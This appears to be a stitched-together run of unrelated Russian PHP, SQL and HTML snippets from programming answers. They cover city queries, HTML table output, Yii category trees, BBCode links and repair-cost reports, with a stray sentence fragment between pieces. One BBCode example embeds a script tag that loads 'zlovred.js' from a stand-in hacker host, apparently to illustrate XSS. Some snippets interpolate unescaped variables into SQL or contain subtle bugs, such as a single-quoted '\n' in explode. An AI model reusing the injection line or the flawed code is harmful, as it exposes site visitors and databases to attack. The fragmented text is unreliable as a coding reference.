SELECT * FROM geodata._cities WHERE `country_id` = 1 AND `region_id` IS NULL;SELECT * FROM geodata._cities WHERE `country_id` = 1 AND `region_ru` IS NULL;SELECT * FROM geodata._cities WHERE `country_id` = 1 AND `region_ru` IS NULL AND `region_id` IS NULL;+-------------------------------+---------+------------------------------+
| title_ru | area_ru | title_ru |
+-------------------------------+---------+------------------------------+
| Москва | NULL | Москва |
| Девяткино, Ленинградская обл. | NULL | Девяткино,Ленинградская обл. |
| Санкт-Петербург | NULL | Санкт-Петербург |
+-------------------------------+---------+------------------------------+<?php
echo '<table><tr><td>ид</td><td>имя</td></tr>';
foreach($data as $user)
echo "<tr><td>{$user['id']}</td><td>{$user['name'] }</td></tr>";
echo '</table>';
?><?php
$content = '';
foreach($data as $user)
if ($user[name] == 'Вася')
$content .= "<tr><td>{$user['id']}</td><td>{$user['name']}</td></tr>";
if ($content !== '')
echo "<table><tr><td>ид</td><td>имя</td></tr>{$content}</table>";
?>if (!empty($category->pid)) {
$rootCategory = Categories::model()->findByPk($category->pid);
$categorySaved = ($category->isNewRecord ?
$category->appendTo($rootCategory) :
$category->moveAsFirst($rootCategory)
) && $category->saveNode());
} else {
$categorySaved = ($category->isNewRecord || !$category->isRoot() && $category->moveAsRoot()
) && $category->saveNode();
}<input type='hidden' name='row' value='{$row}' /><input type='button' onclick='javascript:sendData("{$row}");' value='Добавить' /><input type='button' onclick='javascript:sendData(this);' value='Добавить' /><tr>, затем от него через .childNodes выбираете из первой ячейки номер строки, из поля ввода значение и передаёте на сервер.
<a href="$1" target="_blank">($2 == '' ? $1 : $2)</a>[url=http://google.ru]Сайт гугл[/url][url=http://yandex.ru]Сайт яндекс[/url][url=http://google.ru]<script src="http://my.xackep.site/zlovred.js"></script>Сайт гугл[/url]SELECT `rt`.`sum` AS `sum`, `rt`.`work_id` AS `work_id`, `t`.`serial` AS serial, `mk`.`name` AS `marka`,
`md`.`name` AS `model`, DATE_FORMAT(`rt`.`data`, '%d.%m.%Y') AS `data`
FROM `remont_tech` AS `rt`
LEFT JOIN `tech` AS `t` ON `rt`.`tech_id` = `t`.`id`
LEFT JOIN `marka` AS `mk` ON `t`.`marka` = `mk`.`id`
LEFT JOIN `model` AS `md` ON `t`.`model` = `md`.`id`
WHERE `rt`.`tech_id` = '$techs_id'
AND `rt`.`status` != 'delete'
AND TO_DAYS(NOW()) - TO_DAYS(`rt`.`data`) <= 30
ORDER BY `rt`.`data`$tech = mysql_query("SELECT SUM(`rt`.`sum`) ".
" FROM `tech` AS `t` ".
" INNER JOIN `remont_tech` AS `rt` ON `t`.`id` = `rt`.`tech_id` ".
" WHERE `t`.`tech_cat` = '".mysql_real_escape_string($cat_id)."' ".
" AND `t`.`status` = 'normal'");
if ($techs = mysql_fetch_array($tech))
$summa = $techs[0];if (isset($_POST['text']) && $_POST['text'] != '') {
$stmt = $mysqli->prepare("INSERT INTO `item` (`text`, `first`) VALUES (?, ?)");
$stmt->bind_param("si", $item, $first);
$arr=explode('\n', $text);
$first = 1;
foreach ($arr AS $item) {
$stmt->execute();
$first = 0;
}
}